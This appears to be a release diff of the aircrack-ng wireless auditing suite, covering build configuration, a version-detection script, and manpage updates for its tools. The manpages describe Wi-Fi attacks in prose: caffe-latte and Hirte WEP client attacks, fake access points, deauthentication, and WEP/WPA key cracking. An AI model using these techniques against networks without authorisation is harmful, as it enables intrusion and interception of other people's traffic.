+    [m4_translit(m4_esyscmd([./evalrev || cat ./VERSION]),m4_newline)],
+    [https://forum.aircrack-ng.org])
+
+#
+# Cross-Compilation
+#
+AC_CANONICAL_BUILD
+AC_CANONICAL_HOST
+AC_CANONICAL_TARGET
+
+#
+# Initialize Automake
+#
+AC_CONFIG_AUX_DIR([.])
+AC_CONFIG_MACRO_DIR([build/m4/stubs])
+
+AM_INIT_AUTOMAKE([1.10 dist-bzip2 dist-zip foreign])
+AM_MAINTAINER_MODE([enable])
+AC_SUBST([ACLOCAL_AMFLAGS], ["-I build/m4/stubs -I build/m4 \${ACLOCAL_FLAGS}"])
+
+m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])])
+
+#
+# Find tooling
+#
+AIRCRACK_NG_PROG_CC
+AIRCRACK_NG_PROG_CXX
+AC_PROG_INSTALL
+AM_PROG_AS
+PKG_PROG_PKG_CONFIG
+
+LT_INIT([win32-dll disable-static shared])
+
+#
+# Operating Systems
+#
+AIRCRACK_NG_MAC
+AIRCRACK_NG_WINDOWS
+AIRCRACK_NG_OS_DETECT
+
+#
+# Extra versioning
+#
+AIRCRACK_NG_REVISION
+
+#
+# Required
+#
+AIRCRACK_NG_CRYPTO
+AIRCRACK_NG_ETHTOOL
+AIRCRACK_NG_LIBNL
+
+#
+# Optional
+#
+AIRCRACK_NG_AIRPCAP
+AIRCRACK_NG_EXPERIMENTAL
+AIRCRACK_NG_EXT_SCRIPTS
+AIRCRACK_NG_HWLOC
+AIRCRACK_NG_PCAP
+AIRCRACK_NG_PCRE
+AIRCRACK_NG_RFKILL
+AIRCRACK_NG_SQLITE
+AIRCRACK_NG_ZLIB
+PKG_CHECK_MODULES([CMOCKA], [cmocka], [
+		CMOCKA_FOUND=yes
+		AC_SUBST([CMOCKA_CFLAGS])
+		AC_SUBST([CMOCKA_LIBS])
+	], [CMOCKA_FOUND=no])
+
+#
+# Extras, but needed
+#
+AIRCRACK_NG_LARGEFILE
+AX_ADD_FORTIFY_SOURCE
+AIRCRACK_NG_PTHREAD
+AX_LIB_SOCKET_NSL
+AC_CHECK_LIB([dl], [dlopen], [ LIBS="$LIBS -ldl" ], [:])
+AC_CHECK_LIB([m], [sin], [ LIBS="$LIBS -lm" ], [:])
+
+#
+# Code Coverage Support
+#
+AIRCRACK_NG_CODE_COVERAGE
+
+#
+# Valgrind Support
+#
+AX_VALGRIND_CHECK
+
+#
+# Compiler set-up
+#
+AIRCRACK_NG_COMPILER_C
+AIRCRACK_NG_COMPILER_CXX
+
+#
+# Processor feature selection/detection
+#
+AIRCRACK_NG_SIMD_C
+AIRCRACK_NG_SIMD_CXX
+
+#
+# Optional analyzers
+#
+AIRCRACK_NG_ASAN
+AIRCRACK_NG_DUMA
+AIRCRACK_NG_JEMALLOC
+AIRCRACK_NG_TCMALLOC
+AIRCRACK_NG_TSAN
+
+#
+# Automake
+#
+AM_CONDITIONAL([HAVE_AIRPCAP_OR_PCAP], [test "$AIRPCAP" = yes -o "$PCAP_FOUND" = yes])
+AM_CONDITIONAL([MULTIBIN], [test "$with_multibin" = yes])
+AM_CONDITIONAL([ENABLE_INSTALLED_TESTS], [test "nope" = yes]) # for glib tests
+AM_CONDITIONAL([CMOCKA], [test "$CMOCKA_FOUND" = yes])
+AM_CONDITIONAL([STATIC_BUILD], [test "$enable_static" = yes])
+
+#
+# Save flags for build summary
+#
+summary_cflags="$CFLAGS"
+summary_cxxflags="$CXXFLAGS"
+summary_cppflags="$CPPFLAGS"
+summary_libs="$LIBS"
+
+#
+# Set final flags for build
+#
+CFLAGS="$opt_cflags $CFLAGS"
+CPPFLAGS="$opt_cppflags $CPPFLAGS"
+CXXFLAGS="$opt_cxxflags $CXXFLAGS"
+LIBS="$opt_libs $LIBS"
+
+#
+# Generate all build files
+#
+AC_OUTPUT([
+Makefile
+
+manpages/Makefile
+
+scripts/Makefile
+scripts/airdrop-ng/Makefile
+scripts/airdrop-ng/doc/Makefile
+scripts/airgraph-ng/Makefile
+scripts/airgraph-ng/man/Makefile
+scripts/versuck-ng/Makefile
+
+src/Makefile
+src/aircrack-crypto/Makefile
+src/aircrack-util/Makefile
+src/include/Makefile
+src/aircrack-osdep/Makefile
+src/aircrack-osdep/radiotap/Makefile
+
+test/Makefile
+test/test-env.sh
+test/cryptounittest/Makefile
+test/unit/Makefile
+])
+
+#
+# Output a summary of the build to be performed
+#
+cat <<EOF
+
+${PACKAGE} ${VERSION}
+
+  Build Environment:
+    Build Machine:               ${build}
+    Host Machine:                ${host}
+    Target Machine:              ${target}
+
+    Install Prefix:              ${prefix}
+
+  Compiler Environment:
+    C Compiler:                  ${CC}
+    C++ Compiler:                ${CXX}
+    Python:                      ${PYTHON}
+
+    CFLAGS:                      ${summary_cflags}
+    CXXFLAGS:                    ${summary_cxxflags}
+    CPPFLAGS:                    ${summary_cppflags}
+    LDFLAGS:                     ${LDFLAGS}
+    LIBS:                        ${summary_libs}
+
+    Optimized CFLAGS:            ${opt_cflags}
+    Optimized CXXFLAGS:          ${opt_cxxflags}
+    Optimized CPPFLAGS:          ${opt_cppflags}
+    Optimized LIBS:              ${opt_libs}
+
+  Target Environment:
+    OS:                          ${OS}
+    ASAN:                        ${asan}
+    CPU L1 cache-line size:      ${CACHELINE_SIZE}
+
+  Crypto Libraries:
+    Gcrypt:                      ${GCRYPT_LIBS}
+    OpenSSL:                     ${OPENSSL_LIBS}
+
+  Required Libraries:
+    Ethtool:                     ${ETHTOOL_FOUND}
+    Libnl:                       ${NLLIBNAME_FOUND}
+
+  Optional Libraries:
+    Airpcap:                     ${AIRPCAP}
+    Cmocka:                      ${CMOCKA_FOUND}
+    DUMA:                        ${DUMA}
+    Hwloc:                       ${HAVE_HWLOC}
+    Jemalloc:                    ${JEMALLOC}
+    Pcap:                        ${PCAP_FOUND}
+    Pcre:                        ${HAVE_PCRE}
+    Sqlite:                      ${HAVE_SQLITE3}
+    Tcmalloc:                    ${TCMALLOC}
+    Zlib:                        ${HAVE_ZLIB}
+
+  Features:
+    CMAC Support:                ${HAVE_CMAC}
+    Experimental Extra Scripts:  ${EXT_SCRIPTS}
+    Experimental Features:       ${EXPERIMENTAL}
+
+EOF

aircrack-ng-1.2-rc4.tar.gz/evalrev -> aircrack-ng-1.4.tar.gz/evalrev Changed

@@ -1,35 +1,52 @@
 #!/bin/sh
 
-DIR=$1
+set -euf
+
+DIR=${1:-}
+CMD=${2:-}
+
 if [ x$DIR = "x" ]
 then
 	DIR="."
 fi
 
-if [ ! -d "${DIR}/.svn/" ]
-then
-	echo "0"
-	exit ;
-fi
+if test -d "${DIR}/.git"; then
+    #
+    # Locate the closest annotated tag
+    #
+    REVISION="$(git describe --abbrev=0 --tags 2>/dev/null || echo unknown)"
 
-REVISION="`svnversion $DIR 2> /dev/null | sed 's/[^0-9]*//g'`"
+    #
+    # Determine if we are a development branch, if so then append the
+    # short SHA1.
+    #
+    EXACTLY="$(git describe --abbrev=0 --tags --exact-match 2>/dev/null || echo)"
 
-if [ x$REVISION = "x" ]
-then
-	REVISION="`svn info $DIR 2> /dev/null | grep -i revision | sed 's/[^0-9]*//g'`"
-fi
+    if test -z "$EXACTLY"; then
+        REVISION="${REVISION}_rev-$(git rev-parse --verify --short HEAD)"
+    fi
+elif test -d "${DIR}/.svn"; then
+    REVISION="_r$(svnversion $DIR 2> /dev/null | sed 's/[^0-9]*//g')"
 
-if [ x$REVISION = "x" ]
-then
-	if [ -f "${DIR}/.svn/entries" ]
-	then
-		REVISION="`cat ${DIR}/.svn/entries | grep -i revision | head -n 1 | sed 's/[^0-9]*//g'`"
-	fi
-fi
+    if test x$REVISION = "x"; then
+        REVISION="_r$(svn info $DIR 2> /dev/null | grep -i revision | sed 's/[^0-9]*//g')"
+    fi
 
-if [ x$REVISION = "x" ]
-then
-	REVISION="-1"
+    if test x$REVISION = "x"; then
+        if test -f "${DIR}/.svn/entries"; then
+            REVISION="_r$(cat ${DIR}/.svn/entries | grep -i revision | head -n 1 | sed 's/[^0-9]*//g')"
+        fi
+    fi
+
+    if test x$REVISION = "x"; then
+        REVISION="_r1"
+    fi
+else
+    REVISION="$(cat ${DIR}/VERSION)"
 fi
 
-echo $REVISION
+if test "x$CMD" = "xquoted"; then
+    echo \"$REVISION\"
+else
+    echo $REVISION
+fi

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/Example1/Example1/Form1.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/Example1/Example1/Form1.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/MonoExample/NewStationNotify/Main.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/MonoExample/NewStationNotify/Main.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/MonoExample/NewStationNotify/Notification.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/MonoExample/NewStationNotify/Notification.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/AccessPoint.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/AccessPoint.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/Coordinates.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/Coordinates.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/Properties/AssemblyInfo.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/Properties/AssemblyInfo.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/Readers/Reader.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/Readers/Reader.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/Readers/UniversalReader.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/Readers/UniversalReader.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/Readers/csvReader.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/Readers/csvReader.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/Readers/kismetCsvReader.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/Readers/kismetCsvReader.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/Station.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/Station.cs Changed

aircrack-ng-1.2-rc4.tar.gz/lib/csharp/WirelessPanda/WirelessDevice.cs -> aircrack-ng-1.4.tar.gz/lib/csharp/WirelessPanda/WirelessDevice.cs Changed

aircrack-ng-1.4.tar.gz/manpages/Makefile.am Added

@@ -0,0 +1,106 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+dist_man1_MANS = aircrack-ng.1 \
+                 airdecap-ng.1 \
+                 packetforge-ng.1 \
+                 ivstools.1 \
+                 kstats.1 \
+                 makeivs-ng.1 \
+                 airdecloak-ng.1
+
+dist_man8_MANS = airodump-ng-oui-update.8
+
+if LINUX
+dist_man8_MANS += airmon-ng.8
+endif
+
+if FREEBSD
+dist_man8_MANS += airmon-ng.8
+endif
+
+if HAVE_AIRPCAP_OR_PCAP
+
+if HAVE_PCAP
+dist_man1_MANS += besside-ng-crawler.1
+endif
+
+dist_man1_MANS += wpaclean.1
+
+dist_man8_MANS += airbase-ng.8 \
+                  aireplay-ng.8 \
+                  airodump-ng.8 \
+                  airserv-ng.8 \
+                  airtun-ng.8
+endif
+
+if HAVE_SQLITE3
+dist_man1_MANS += airolib-ng.1
+endif
+
+if EXPERIMENTAL
+dist_man1_MANS += buddy-ng.1
+
+if HAVE_AIRPCAP_OR_PCAP
+dist_man8_MANS += airventriloquist-ng.8 \
+                  besside-ng.8 \
+                  easside-ng.8 \
+                  tkiptun-ng.8 \
+                  wesside-ng.8
+endif
+endif
+
+EXTRA_DIST = airmon-ng.8 \
+             airolib-ng.1 \
+             besside-ng-crawler.1 \
+             buddy-ng.1 \
+             airventriloquist-ng.8 \
+             besside-ng.8 \
+             easside-ng.8 \
+             tkiptun-ng.8 \
+             wesside-ng.8 \
+             wpaclean.1 \
+             airbase-ng.8 \
+             aireplay-ng.8 \
+             airodump-ng.8 \
+             airserv-ng.8 \
+             airtun-ng.8
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.2-rc4.tar.gz/manpages/airbase-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/airbase-ng.8 Changed

@@ -1,4 +1,4 @@
-.TH AIRBASE-NG 8 "February 2016" "Version 1.2-rc4"
+.TH AIRBASE-NG 8 "September 2018" "Version 1.4"
 
 .SH NAME
 airbase-ng - multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself
@@ -8,7 +8,7 @@
 .SH DESCRIPTION
 .BI airbase-ng
 is multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself. Since it is so versatile and flexible, summarizing it is a challenge. Here are some of the feature highlights: 
-.br
+.PP
 - Implements the Caffe Latte WEP client attack
 .br
 - Implements the Hirte WEP client attack
@@ -24,7 +24,7 @@
 - Ability to manipulate and resend packets
 .br
 - Ability to encrypt sent packets and decrypt received packets
-
+.PP
 The main idea is of the implementation is that it should encourage clients to associate with the fake AP, not prevent them from accessing the real AP. 
 
 A tap interface (atX) is created when airbase-ng is run. This can be used to receive decrypted packets or to send encrypted packets. 
@@ -80,7 +80,7 @@
 .I -Y <in|out|both>
 The parameter "-Y" enables the "external processing" Mode. This creates a second interface "atX", which is used to replay/modify/drop or inject packets at will. This interface must also be brought up with ifconfig and an external tool is needed to create a loop on that interface. 
 
-The packet structure is rather simple: the ethernet header (14 bytes) is ignored and right after that follows the complete ieee80211 frame the same way it is going to be processed by airbase-ng (for incoming packets) or before the packets will be sent out of the wireless card (outgoing packets). This mode intercepts all data packets and loops them through an external application, which decides what happens with them. The MAC and IP of the second tap interface doesn\(aqt matter, as real ethernet frames on this interface are dropped dropped anyway. 
+The packet structure is rather simple: the ethernet header (14 bytes) is ignored and right after that follows the complete ieee80211 frame the same way it is going to be processed by airbase-ng (for incoming packets) or before the packets will be sent out of the wireless card (outgoing packets). This mode intercepts all data packets and loops them through an external application, which decides what happens with them. The MAC and IP of the second tap interface doesn\(aqt matter, as real ethernet frames on this interface are dropped anyway. 
 
 There are 3 arguments for "-Y": "in", "out" and "both", which specify the direction of frames to loop through the external application. Obviously "in" redirects only incoming (through the wireless NIC) frames, while outgoing frames aren\(aqt touched. "out" does the opposite, it only loops outgoing packets and "both" sends all both directions through the second tap interface. 
 
@@ -103,7 +103,7 @@
 It sets the shared key challenge length, which can be anything from 16 to 1480. The default is 128 bytes. It is the number of bytes used in the random challenge. Since one tag can contain a maximum size of 255 bytes, any value above 255 creates several challenge tags until all specified bytes are written. Many clients ignore values different than 128 bytes so this option may not always work.
 .TP
 .I -L, --caffe-latte
-Airbase-ng also contains the new caffe-latte attack, which is also implemented in aireplay-ng as attack "-6". It can be used with "-L" or "caffe-latte". This attack specifically works against clients, as it waits for a broadcast arp request, which happens to be a gratuitous arp. See this for an explaination of what a gratuitous arp is. It then flips a few bits in the sender MAC and IP, corrects the ICV (crc32) value and sends it back to the client, where it came from. The point why this attack works in practice is, that at least windows sends gratuitous arps after a connection on layer 2 is established and a static ip is set, or dhcp fails and windows assigned an IP out of 169.254.X.X. 
+Airbase-ng also contains the new caffe-latte attack, which is also implemented in aireplay-ng as attack "-6". It can be used with "-L" or "caffe-latte". This attack specifically works against clients, as it waits for a broadcast arp request, which happens to be a gratuitous arp. See this for an explanation of what a gratuitous arp is. It then flips a few bits in the sender MAC and IP, corrects the ICV (crc32) value and sends it back to the client, where it came from. The point why this attack works in practice is, that at least windows sends gratuitous arps after a connection on layer 2 is established and a static ip is set, or dhcp fails and windows assigned an IP out of 169.254.X.X. 
 
 "-x <pps>" sets the number of packets per second to send when performing the caffe-latte attack. At the moment, this attack doesn\(aqt stop, it continuously sends arp requests. Airodump-ng is needed to capture the replies.
 .TP
@@ -116,7 +116,7 @@
 This sets the number of packets per second that packets will be sent (default: 100).
 .TP
 .I -y
-When using this option, the fake AP will not respond to broadcast probes. A broadcast probe is where the the specific AP is not identified uniquely. Typically, most APs will respond with probe responses to a broadcast probe. This flag will prevent this happening. It will only respond when the specific AP is uniquely requested.
+When using this option, the fake AP will not respond to broadcast probes. A broadcast probe is where the specific AP is not identified uniquely. Typically, most APs will respond with probe responses to a broadcast probe. This flag will prevent this happening. It will only respond when the specific AP is uniquely requested.
 .TP
 .I -0
 This enables all WPA/WPA2/WEP Tags to be enabled in the beacons sent. It cannot be specified when also using -z or -Z.
@@ -158,10 +158,10 @@
 MAC of client to accept.
 .TP
 .I --clients <file>, -D <file>
-Read a list of client\(aqs MACs out of that file 
+Read a list of client\(aqs MACs out of that file.
 .TP
 .I --essid <ESSID>, -e <ESSID>
-Specify a single ESSID. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names
+Specify a single ESSID. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
 .TP
 .I --essids <file>, -E <file>
 Read a list of ESSIDs out of that file. It will use the same BSSID for all AP which can generate some interesting output in Airodump-ng like: http://www.chimplabs.com/blog/2015/09/24/unintentional-fun-with-aircrack-ng-at-derbycon-5-0/
@@ -213,3 +213,5 @@
 .B packetforge-ng(1)
 .br
 .B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.2-rc4.tar.gz/manpages/aircrack-ng.1 -> aircrack-ng-1.4.tar.gz/manpages/aircrack-ng.1 Changed

@@ -1,26 +1,29 @@
-.TH AIRCRACK-NG 1 "February 2016" "Version 1.2-rc4"
+.TH AIRCRACK-NG 1 "September 2018" "Version 1.4"
 
 .SH NAME
 aircrack-ng - a 802.11 WEP / WPA-PSK key cracker
 .SH SYNOPSIS
 .B aircrack-ng
-[options] <.cap / .ivs file(s)>
+[options] <input file(s)>
 .SH DESCRIPTION
 .BI aircrack-ng
-is an 802.11 WEP and WPA/WPA2-PSK key cracking program.
-.br
-It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing. 
-.br
+is an 802.11 WEP, 802.11i WPA/WPA2, and 802.11w WPA2 key cracking program.
+.PP
+It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing.
+.PP
 Additionally, the program offers a dictionary method for determining the WEP key. For cracking WPA/WPA2 pre-shared keys, a wordlist (file or stdin) or an airolib-ng has to be used.
+.SH INPUT FILES
+.TP
+Capture files (.cap, .pcap), IVS (.ivs) or Hascat HCCAPX files (.hccapx)
 .SH OPTIONS
 .TP
 .B Common options:
 .TP
 .I -a <amode>
-Force the attack mode, 1 or wep for WEP and 2 or wpa for WPA-PSK.
+Force the attack mode: 1 or wep for WEP (802.11) and 2 or wpa for WPA/WPA2 PSK (802.11i and 802.11w).
 .TP
 .I -e <essid>
-Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloacked. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names
+Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloaked. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
 .TP
 .I -b <bssid> or --bssid <bssid>
 Select the target network based on the access point MAC address.
@@ -35,7 +38,7 @@
 Merges all those APs MAC (separated by a comma) into a virtual one.
 .TP
 .I -l <file>
-Write the key into a file.
+Write the key into a file. Overwrites the file if it already exists.
 .PP
 .TP
 .B Static WEP cracking options:
@@ -46,7 +49,7 @@
 .I -t
 Search binary coded decimal characters only.
 .TP
-.I -h 
+.I -h
 Search the numeric key for Fritz!BOX
 .TP
 .I -d <mask> or --debug <mask>
@@ -59,7 +62,7 @@
 Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc., until 512 bits of length. The default value is 128.
 .TP
 .I -i <index>
-Only keep the IVs that have this key index (1 to 4). The default behaviour is to ignore the key index in the packet, and use the IV regardless.
+Only keep the IVs that have this key index (1 to 4). The default behavior is to ignore the key index in the packet, and use the IV regardless.
 .TP
 .I -f <fudge>
 By default, this parameter is set to 2. Use a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelihood of success.
@@ -82,10 +85,10 @@
 .I -s
 Shows ASCII version of the key at the right of the screen.
 .TP
-.I -y  
+.I -y
 This is an experimental single brute-force attack which should only be used when the standard attack mode fails with more than one million IVs.
 .TP
-.I -z  
+.I -z
 Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Weinmann) attack (default attack).
 .TP
 .I -P <num> or --ptw-debug <num>
@@ -102,12 +105,22 @@
 .TP
 .I -M <num>
 Specify maximum number of IVs to use.
+.TP
+.I -V or --visual-inspection
+Run in visual inspection mode. Can only be used when using KoreK.
 .PP
 .TP
 .B WEP and WPA-PSK cracking options
 .TP
 .I -w <words>
-Path to a dictionary file for wpa cracking. Specify "-" to use stdin. Here is a list of wordlists: http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists
+Path to a dictionary file for wpa cracking. Separate filenames with comma when using multiple dictionaries. Specify "-" to use stdin. Here is a list of wordlists: https://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists
+In order to use a dictionary with hexadecimal values, prefix the dictionary with "h:". Each byte in each key must be separated by ':'. When using with WEP, key length should be specified using -n.
+.TP
+.I -N <file> or --new-session <file>
+Create a new cracking session. It allows to interrupt cracking session and restart at a later time (using -R or --restore-session). Status files are saved every 5 minutes. It does not overwrite existing session file.
+.TP
+.I -R <file> or --restore-session <file>
+Restore and continue a previously saved cracking session. This parameter is to be used alone, no other parameter should be specified when starting aircrack-ng (all the required information is in the session file).
 .PP
 .TP
 .B WPA-PSK options:
@@ -115,16 +128,31 @@
 .I -E <file>
 Create Elcomsoft Wireless Security Auditor (EWSA) Project file v3.02.
 .TP
+.I -j <file>
+Create Hashcat v3.6+ Capture file (HCCAPX).
+.TP
 .I -J <file>
-Create Hashcat Capture file.
+Create Hashcat Capture file (HCCAP).
 .TP
 .I -S
 WPA cracking speed test.
 .TP
+.I -Z <sec>
+WPA cracking speed test execution length in seconds.
+.TP
 .I -r <database>
 Path to the airolib-ng database. Cannot be used with \(aq-w\(aq.
 .PP
 .TP
+.B SIMD selection:
+.TP
+.I --simd=<option>
+Aircrack-ng automatically loads and uses the fastest optimization based on instructions available for your CPU. This options allows to force another optimization. Choices depend on the CPU and the following are all the possibilities that may be compiled regardless of the CPU type: generic, sse2, avx, avx2, avx512, neon, asimd, altivec, power8.
+.TP
+.I --simd-list
+Shows a list of the available SIMD architectures, separated by a space character. Aircrack-ng automatically selects the fastest optimization and thus it is rarely needed to use this option. Use case would be for testing purposes or when a "lower" optimization, such as "generic", is faster than the automatically selected one. Before forcing a SIMD architecture, verify that the instruction is supported by your CPU, using \-u.
+.PP
+.TP
 .B Other options:
 .TP
 .I -H or --help
@@ -179,3 +207,5 @@
 .B packetforge-ng(1)
 .br
 .B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.2-rc4.tar.gz/manpages/airdecap-ng.1 -> aircrack-ng-1.4.tar.gz/manpages/airdecap-ng.1 Changed

@@ -1,4 +1,4 @@
-.TH AIRDECAP-NG 1 "February 2016" "Version 1.2-rc4"
+.TH AIRDECAP-NG 1 "September 2018" "Version 1.4"
 
 .SH NAME
 airdecap-ng - decrypt a WEP/WPA crypted pcap file
@@ -7,7 +7,7 @@
 [options] <pcap file>
 .SH DESCRIPTION
 .BI airdecap-ng
-decrypts a WEP/WPA crypted pcap file to a uncrypted one by using the right WEP/WPA keys.
+decrypts a WEP/WPA crypted pcap file to a unencrypted one by using the right WEP/WPA keys.
 .SH OPTIONS
 .TP
 .I -H, --help
@@ -23,7 +23,7 @@
 WPA Pairwise Master Key in hex.
 .TP
 .I -e <essid>
-Target network SSID. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names
+Target network SSID. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
 .TP
 .I -p <pass>
 Target network WPA passphrase.
@@ -84,3 +84,6 @@
 .B packetforge-ng(1)
 .br
 .B wpaclean(1)
+.br
+.B airventriloquist(8)
+

aircrack-ng-1.2-rc4.tar.gz/manpages/airdecloak-ng.1 -> aircrack-ng-1.4.tar.gz/manpages/airdecloak-ng.1 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/aireplay-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/aireplay-ng.8 Changed

@@ -1,4 +1,4 @@
-.TH AIREPLAY-NG 8 "February 2016" "Version 1.2-rc4"
+.TH AIREPLAY-NG 8 "September 2018" "Version 1.4"
 
 .SH NAME
 aireplay-ng - inject packets into a wireless network to generate traffic
@@ -13,9 +13,9 @@
 .PP
 .B aireplay-ng
 supports single-NIC injection/monitor.
-.br
+.PP
 This feature needs driver patching.
-.br
+.PP
 .SH OPTIONS
 .TP
 .I -H, --help
@@ -82,7 +82,7 @@
 Choose first matching packet.
 .TP
 .I -e <essid>
-Fake Authentication attack: Set target SSID (see below). For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names
+Fake Authentication attack: Set target SSID (see below). For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
 .TP
 .I -o <npackets>
 Fake Authentication attack: Set the number of packets for every authentication and association attempt (Default: 1). 0 means auto
@@ -100,7 +100,7 @@
 Fake Authentication attack: Exit if fake authentication fails \(aqn\(aq time(s).
 .TP
 .I -j
-ARP Replay attack : inject FromDS pakets (see below).
+ARP Replay attack : inject FromDS packets (see below).
 .TP
 .I -k <IP>
 Fragmentation attack: Set destination IP in fragments.
@@ -129,6 +129,9 @@
 .I --ignore-negative-one
 if the interface\(aqs channel can\(aqt be determined ignore the mismatch, needed for unpatched cfg80211
 .PP
+.I --deauth-rc <rc>, -Z <rc>
+Provide a reason code when doing deauthication (between 0 and 255). By default, 7 is used: Class 3 frame received from unassociated STA. 0 is a reserved value. Reason codes explanations can be found in the IEEE802.11 standard or in https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/
+.PP
 .TP
 .B Attack modes:          
 .TP
@@ -249,3 +252,5 @@
 .B packetforge-ng(1)
 .br
 .B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.2-rc4.tar.gz/manpages/airmon-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/airmon-ng.8 Changed

@@ -1,4 +1,4 @@
-.TH AIRMON-NG 8 "February 2016" "Version 1.2-rc4"
+.TH AIRMON-NG 8 "September 2018" "Version 1.4"
 
 .SH NAME
 airmon-ng - POSIX sh script designed to turn wireless cards into monitor mode.
@@ -24,11 +24,11 @@
 List all possible programs that could interfere with the wireless card. If \(aqkill\(aq is specified, it will try to kill all of them.
 .TP
 .I --verbose
-This flag must precede start/stop/check and can be combined with with other parameters or used alone. 
+This flag must precede start/stop/check and can be combined with other parameters or used alone. 
 This flag will increase the verbosity to provide additional useful information which may not be needed for normal operation.
 .TP
 .I --debug
-This flag must precede start/stop/check and can be combined with with other parameters or used alone. 
+This flag must precede start/stop/check and can be combined with other parameters or used alone. 
 This flag will increase the verbosity to debug level to assist in troubleshooting errors in airmon-ng. Use this flag when opening a bug, but only use --verbose when requesting support in irc.
 .TP
 .I --elite

aircrack-ng-1.2-rc4.tar.gz/manpages/airodump-ng-oui-update.8 -> aircrack-ng-1.4.tar.gz/manpages/airodump-ng-oui-update.8 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/airodump-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/airodump-ng.8 Changed

@@ -1,4 +1,4 @@
